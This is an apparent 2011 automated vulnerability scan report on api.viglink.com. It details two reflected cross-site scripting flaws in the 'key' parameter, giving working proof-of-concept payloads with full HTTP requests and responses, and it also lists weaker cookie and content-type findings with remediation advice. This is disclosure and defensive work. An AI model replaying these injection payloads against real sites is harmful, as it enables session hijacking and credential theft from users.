XSS, api.viglink.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Mon Apr 18 20:02:16 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://api.viglink.com/api/install.js [key parameter]

1.2. http://api.viglink.com/api/ping [key parameter]

2. Cookie without HttpOnly flag set

2.1. http://api.viglink.com/api/install.js

2.2. http://api.viglink.com/api/ping

3. Cookie scoped to parent domain

3.1. http://api.viglink.com/api/install.js

3.2. http://api.viglink.com/api/ping

4. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://api.viglink.com/api/install.js [key parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.viglink.com
Path:   /api/install.js

Issue detail

The value of the key request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7e51"%3balert(1)//0d39877c240 was submitted in the key parameter. This input was echoed as d7e51";alert(1)//0d39877c240 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api/install.js?key=30c9962c288b6104d8aabe237d132b54d7e51"%3balert(1)//0d39877c240 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:20 GMT
Expires: -1
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 6719
Connection: keep-alive


var vglnkbmklt = function() {
var notice = {
addCSS: function() {
if(document.getElementById('vglnkbmkltcss')) return;
var props = '\
border: 3px solid #ccc;\
backg
...[SNIP]...
nk != "undefined") {
notice.quick("VigLink is already installed on this page.");
return;
}

window.vglnk = {
api_url: "//api.viglink.com/api",
key: "30c9962c288b6104d8aabe237d132b54d7e51";alert(1)//0d39877c240"
};

var is_ssl = location.protocol == "https://";
var host = (is_ssl ? "https://" : "http://") + "api.viglink.com";

var lib_el = document.createElement('script');
lib_el.src = host + "/api
...[SNIP]...

1.2. http://api.viglink.com/api/ping [key parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.viglink.com
Path:   /api/ping

Issue detail

The value of the key request parameter is copied into the HTML document as plain text between tags. The payload 47797<script>alert(1)</script>11f76ed4d6d was submitted in the key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /api/ping?format=jsonp&key=30c9962c288b6104d8aabe237d132b5447797<script>alert(1)</script>11f76ed4d6d&loc=about%3Ablank&v=1&jsonp=vglnk_jsonp_13031707108430 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 500 Internal Server Error
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:41 GMT
Expires: -1
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 97
Connection: keep-alive

error: Unknown api key: 30c9962c288b6104d8aabe237d132b5447797<script>alert(1)</script>11f76ed4d6d

2. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://api.viglink.com/api/install.js  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://api.viglink.com
Path:   /api/install.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /api/install.js?key=30c9962c288b6104d8aabe237d132b54 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:08 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=c130b084705a76e0d79e7cf85d41bf60; Domain=.viglink.com; Expires=Thu, 15-Apr-2021 23:51:08 GMT; Path=/
Set-Cookie: JSESSIONID=36A01E51E4479B9FE426B299BA69666D; Path=/
Vary: Accept-Encoding
Content-Length: 6691
Connection: keep-alive


var vglnkbmklt = function() {
var notice = {
addCSS: function() {
if(document.getElementById('vglnkbmkltcss')) return;
var props = '\
border: 3px solid #ccc;\
backg
...[SNIP]...

2.2. http://api.viglink.com/api/ping  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://api.viglink.com
Path:   /api/ping

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /api/ping?format=jsonp&key=30c9962c288b6104d8aabe237d132b54&loc=about%3Ablank&v=1&jsonp=vglnk_jsonp_13031707122890 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en-US
Content-Type: text/javascript;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:11 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=e7daf87904cd54a51f9e49816abcc7a1; Domain=.viglink.com; Expires=Thu, 15-Apr-2021 23:51:11 GMT; Path=/
Content-Length: 290
Connection: keep-alive


vl_ping(1303170671242,2000,[],[],{"plugins":{"productLinker":{"apiUrl":"/api/insertion_demo","key":"f2b9f0ef021f1d5b36dd798823bcd55c"},"linkInsertion":{"apiUrl":"/api/insertion_demo","amids":[1],"key
...[SNIP]...

3. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


3.1. http://api.viglink.com/api/install.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://api.viglink.com
Path:   /api/install.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /api/install.js?key=30c9962c288b6104d8aabe237d132b54 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:08 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=c130b084705a76e0d79e7cf85d41bf60; Domain=.viglink.com; Expires=Thu, 15-Apr-2021 23:51:08 GMT; Path=/
Set-Cookie: JSESSIONID=36A01E51E4479B9FE426B299BA69666D; Path=/
Vary: Accept-Encoding
Content-Length: 6691
Connection: keep-alive


var vglnkbmklt = function() {
var notice = {
addCSS: function() {
if(document.getElementById('vglnkbmkltcss')) return;
var props = '\
border: 3px solid #ccc;\
backg
...[SNIP]...

3.2. http://api.viglink.com/api/ping  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://api.viglink.com
Path:   /api/ping

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /api/ping?format=jsonp&key=30c9962c288b6104d8aabe237d132b54&loc=about%3Ablank&v=1&jsonp=vglnk_jsonp_13031707122890 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en-US
Content-Type: text/javascript;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:11 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=e7daf87904cd54a51f9e49816abcc7a1; Domain=.viglink.com; Expires=Thu, 15-Apr-2021 23:51:11 GMT; Path=/
Content-Length: 290
Connection: keep-alive


vl_ping(1303170671242,2000,[],[],{"plugins":{"productLinker":{"apiUrl":"/api/insertion_demo","key":"f2b9f0ef021f1d5b36dd798823bcd55c"},"linkInsertion":{"apiUrl":"/api/insertion_demo","amids":[1],"key
...[SNIP]...

4. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://api.viglink.com
Path:   /api/install.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /api/install.js?key=30c9962c288b6104d8aabe237d132b54 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:04 GMT
Expires: -1
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 6691
Connection: keep-alive


var vglnkbmklt = function() {
var notice = {
addCSS: function() {
if(document.getElementById('vglnkbmkltcss')) return;
var props = '\
border: 3px solid #ccc;\
backg
...[SNIP]...

Report generated by XSS.CX at Mon Apr 18 20:02:16 CDT 2011.